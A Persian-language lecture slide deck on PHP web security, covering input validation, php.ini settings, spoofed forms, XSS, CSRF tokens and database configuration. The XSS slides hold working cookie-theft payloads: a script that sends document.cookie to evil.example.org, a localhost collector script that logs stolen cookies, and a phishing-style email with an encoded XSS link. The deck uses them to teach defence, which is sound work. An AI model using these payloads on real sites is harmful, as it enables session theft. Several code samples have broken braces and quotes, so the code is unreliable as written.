security in php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/phpsecurityppt.pdf · .دینکن...

37
Security in Php Mansooreh Jalalyazdi 1

Upload: others

Post on 19-Jul-2020

7 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

Security in Php

Mansooreh Jalalyazdi

1

Page 2: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

Input Validation

.اطمینان از اینکه ورودی معتبر است

این کنترل باjavascript می تواند صورت گیرد چون سریعتر است و در

.صورت می گیرد clientسطح

این کنترل باید باphp نیز صورت گیرد.

کنترل هایjavascript به آسانی می توانند نادیده انگاشته شوند.

برای کنترل ورودی می توان ازBlack list یاWhite list استفاده کرد.

Black list ممکن است کامل نباشد و برخی حاالت در نظر گرفته نشود.

White list در صورت امکان استفاده، بهتر است.

2

Page 3: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

Input Validation چه چیزیinput در نظر گرفته می شود؟

داده های فرم

پارامترهایquery

پارامترهایpost

Cookieها

داده های موجود در پایگاه داده که توسط کاربر می تواند تغییر کند.

Log ها که شامل ورودی های کاربر هم می باشد.

...

چه چیزی باید اعتبارسنجی شود؟ همه چیز

3

Page 4: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

Input Validation – White List

:یک مثال ساده

<?php

$clean = array();

switch ($_POST['color'])

{

case 'red':

case 'green':

case 'blue':

$clean['color'] = $_POST['color'];

break;

{

?>

4

Page 5: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

Filtering – White List

مثال برای ایمیل:<?php

$clean = array();

$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';

if (preg_match($email_pattern, $_POST['email']))

{

$clean['email'] = $_POST['email'];

{

?>

5

Page 6: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

کنترل عدد بودن یک متغیر

:یک عدد صحیح است POST[‘num’]_$کنترل اینکه متغیر

<?php

$clean = array();

if ($_POST['num'] == strval(intval($_POST['num'])))

}

$clean['num'] = $_POST['num'];

{

?>

.استفاده کنید floatvalبرای کنترل اینکه یک متغیر عدد اعشاری است از تابع

6

Page 7: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

مقداردهی اولیه به متغیرها

وقتی اجرای یک صفحهphp آغاز می شود که

کلHTTP REQUEST دریافت شده باشد

هیچ فرصت دیگری برای فرستادن داده وجود ندارد

به مقداردهی اولیه متغیرها توسط خودphp اکتفا نکنید.

متغیرها را مقداردهی اولیه کنید

اجازه ندهید توسط افراد بدخواه از طریق$_GET یا از روش های دیگر مقدار دهی اولیه شوند.

7

Page 8: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

php.iniتنظیمات

allow_url_include = Off

open_basedir = /var/www/htdocs/files

8

Page 9: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

Error Reporting

Error Reporting = E_ALL : تمام خطاهای برنامه همواره مشخص

.شود

display_errors=On :در زمان تولید برنامه

display_errors=Off :در زمان اجرای واقعی برنامه

log_errors=On :در زمان اجرای واقعی برنامه

مقدارerror_log و مجوزهایApache برای نوشتن در آن را بررسی

.کنید

Page 10: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

register_globals

register_globals = off

مقداری که باید از طریق یک فرم و به شکلPOST

.فرستاده شود GETفرستاده شود به راحتی می تواند با

10

Page 11: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

Spoofed Form Submissions

:http://example.org/form.htmlدر آدرس فرضی htmlیک فرم ساده

<form action="/process.php" method="POST">

<select name="color">

<option value="red">red</option>

<option value="green">green</option>

<option value="blue">blue</option>

</select>

<input type="submit" />

</form>

11

Page 12: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

Spoofed Form Submissions

فرم زیر با توجه به فرم قبل، توسط فرد بدخواه به صورت زیر به راحتی نوشته

:شود

<form action=“http://example.org/process.php" method="POST">

<input type=“text” name=“color”>

<input type="submit" />

</form>

می تواند هر مقداری داشته باشد Colorاکنون

12

Page 13: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

(۲۰۱۱)روش های مختلف حمله

13

Page 14: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

Cross Site Scripting (XSS)

منظور ازXSS روش های حمله ای است که از نقاط

نفوذپذیر در کد یک برنامه وب استفاده می کند تا محتوایی

بدخواهانه را از طریق یک کاربر بفرستد و داده هایی را

.از قربانی کسب کند

14

Page 15: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

Cross Site Scripting (XSS)

نوعی از آسیب پذیری امنیتی کامپیوتر است که در برنامه

.های تحت وب پیدا می شود

این آسیب پذیری برای حمله کننده این امکان را فراهم می

webدر ) javascriptsمثال (کند که کدهای بدخواهانه

browser قربانی تزریق کند .

با استفاده از این کد بدخواهانه، حمله کننده می تواند داده

). مثال اطالعات کوکی ها(های قربانی را بدزدد

15

Page 16: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

XSSتئوری حمله

16

Page 17: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

XSS

17

Page 18: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

Stored XSS Attack

18

Page 19: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

XSS Example

<form>

<input type="text" name="message"><br />

<input type="submit">

</form>

<?php

if (isset($_GET['message']))

}

$message = $_GET[„message‟];

$fp = fopen('./messages.txt', 'a');

fwrite($fp, "$_GET['message']<br />");

fclose($fp);

{

readfile('./messages.txt');

?>19

Page 20: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

XSS Example

<script>

document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie

</script>

20

Page 21: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

XSS Example

مهکار گرامی،

در راستای ارتقای سطح خدمات و رضایتمندی کارکنان از سیستمهای یکپارچو سازمان، بر آن شدمی تا در قالب یک .نظرسنجی خمتصر از کارکنان، ضعفهای احتمالی سیستم را شناختو و در جهت رفع آهنا برآییم

در صورتی کو متایل دارید ما را از نظرات ارزمشند خود هبره مند سازید، لطفا بو سیستم وارد شده و در لینک زیر، بو :سواالت نظرسنجی پاسخ دىید

>http://www.mysite.com/error.php?message=survey+is+not+ready+yet.+<script>...</script

http://www.mysite.com/e%72%72%6f%72.php?message%3dsurvey...

21

Page 22: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

XSS

فرض کنید در یک صفحه وب با متدGET مقدارid وname گرفته شده و این مقدار در

table ذخیره می شود.

&name=Ali123Http://saveChild.php?id=

می توانید آن را به این صورت فراخوانی کنید:

&name=Ali<script>alert(document.cookie)</script>123Http://saveChild.php?id=

با این کار این مقدار به جایname درtable نگهداری می شود.

اگر کاربری اطالعات این کودک را مشاهده کند، مقدارcookie وی اعالن می شود.

22

Page 23: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

XSS

مقدارpassword می تواند به صورت زیر باشد:

1” onKeyPress="

if (window.event) {

var key = window.event.keyCode;

}

else {

var key = event.which;

}

if(key == 13){

document.login.submit();

{”23

Page 24: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

XSS – Set a Cookie<html>

<script type="text/javascript">

cookie_name = "Counter_Cookie";

function doCookie() {

if(document.cookie)

index = document.cookie.indexOf(cookie_name);

else

index = -1;

if (index == -1)

document.cookie=cookie_name+"=1;";

else {

countbegin = (document.cookie.indexOf("=", index) + 1);

countend = document.cookie.indexOf(";", index);

if (countend == -1)

countend = document.cookie.length;

count = eval(document.cookie.substring(countbegin, countend)) + 1;

document.cookie=cookie_name+"="+count;

}

}

24

Page 25: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

XSS – Set a Cookiefunction gettimes() {

if(document.cookie)

index = document.cookie.indexOf(cookie_name);

if (index != -1) {

countbegin = (document.cookie.indexOf("=", index) + 1);

countend = document.cookie.indexOf(";", index);

if (countend == -1)

countend = document.cookie.length;

count = document.cookie.substring(countbegin, countend);

if (count == 1)

return (count+" time");

else

return (count+" times");

}

return ("0 times");

}

// -->

</script>

<body onload="doCookie()">

<script language="javascript">

document.write("You have been to this page "+gettimes()+" before.");

</script>

25

Page 26: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

XSS – Inject the malicious code

<body>

<form action="showCookie.php" method="post">

<textarea name="text" rows="10" cols="50">

<script>document.location='http://localhost/xss/my.php?dc='+document.cookie</script>

Leave a message for another user ...

</textarea>

<input type="submit" value="Test your input">

</form>

</body>

26

Page 27: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

XSS – Run the Malicious code

<body>

<?php

echo $_POST['text'];

echo "<br>....";

?>

</body>

27

Page 28: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

XSS – The Evil Script

<body>

<?php

$fp = fopen('./savedCookies.txt', 'a');

fwrite($fp, "{$_GET['dc']}<br />");

fclose($fp);

echo "<br />wrote in file".$_GET['dc'];

?>

</body>

28

Page 29: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

XSSجلوگیری از

Input Validation

کمک گرفتن از توابعPhp

Stript_tags() : تمامtag هایhtml حذف می شوند و خیالمان راحت می شود.

htmlentities() : کدهایhtml یاjs فقط نشان داده می شوند نه اینکه اجرا شوند.

ایجادWhite List وBlack List

29

Page 30: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

A Safer version of XSS Example

<form>

<input type="text" name="message"><br />

<input type="submit">

</form>

<?php

if (isset($_GET['message']))

}

$message = $_GET[„message‟];

$message = htmlentities($_GET[„message‟]);

$fp = fopen('./messages.txt', 'a');

fwrite($fp, $message<br />");

fclose($fp);

{

readfile('./messages.txt');

?> 30

Page 31: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

Cross-Site Request Forgeries<?php

$token = md5(rand());

$token = md5(time());

$fp = fopen('./tokens.txt', 'a');

fwrite($fp, "$token\n");

fclose($fp);

?>

<form method="POST">

<input type="hidden" name="token" value="<?php echo $token; ?>" />

<input type="text" name="message"><br />

<input type="submit">

</form>

<?php

$tokens = file('./tokens.txt');

}if (in_array($_POST['token'], $tokens))

}if (isset($_POST['message']))

$message = htmlentities($_POST['message']);

$fp = fopen('./messages.txt', 'a');

fwrite($fp, "$message<br />");

fclose($fp);

}

{

readfile('./messages.txt');

?> 31

Page 32: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

Cross-Site Request Forgeries<?php

session_start();

}if (isset($_POST[„message‟]))

}if (isset($_POST['message']) && $_POST[„token‟] == $_SESSION[„token‟])

$message = htmlentities($_POST['message']);

$fp = fopen('./messages.txt', 'a');

fwrite($fp, "$message<br />");

fclose($fp);

}

{

$token = md5(uniqid(rand(), true));

$_SESSION['token'] = $token;

?>

<form method="POST">

<input type="hidden" name="token" value="<?php echo $token; ?>" />

<input type="text" name="message"><br />

<input type="submit">

</form>

<?php

readfile('./messages.txt');

?>

32

Page 33: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

Database Controls

معموال در برنامه های کار با پایگاه داده، در یک فایل

inc نام سرور، آدرس سرور، نام کاربری و کلمه عبور ،

.قرار می گیرد

33

Db.inc

<?php

$host = 'example.org';

$username = 'myuser';

$password = 'mypass';

$db = mysql_connect($host, $username, $password);

?>

Page 34: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

Database Controls

فایلdb.inc مثال قبل را در زیرشاخه هایdocument_root قرار ندهید.

این فایلText محسوب می شود و ممکن است یک کاربر آن را درbrowser خود با

.آدرس آن مشاهده کند

اگر مجبور به این کار هستید، خطوط زیر را به فایلHttpd.conf اضافه کنید.

34

Httpd.conf

<Files ~ "\.inc$">

Order allow,deny

Deny from all

</Files>

Page 35: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

توجه

حمالت ادامه داردSession Fixation ،Session Hijacking و.....

نکات امنیتی هنوز ادامه دارد.....

35

Page 36: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

References

http://phpsec.org/projects/guide/1.html

http://www.acunetix.com/websitesecurity/cross-site-scripting.htm

Arash Shahkar Cources in Ferdowsi University – ITS Center

36

Page 37: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک

متشکرم

37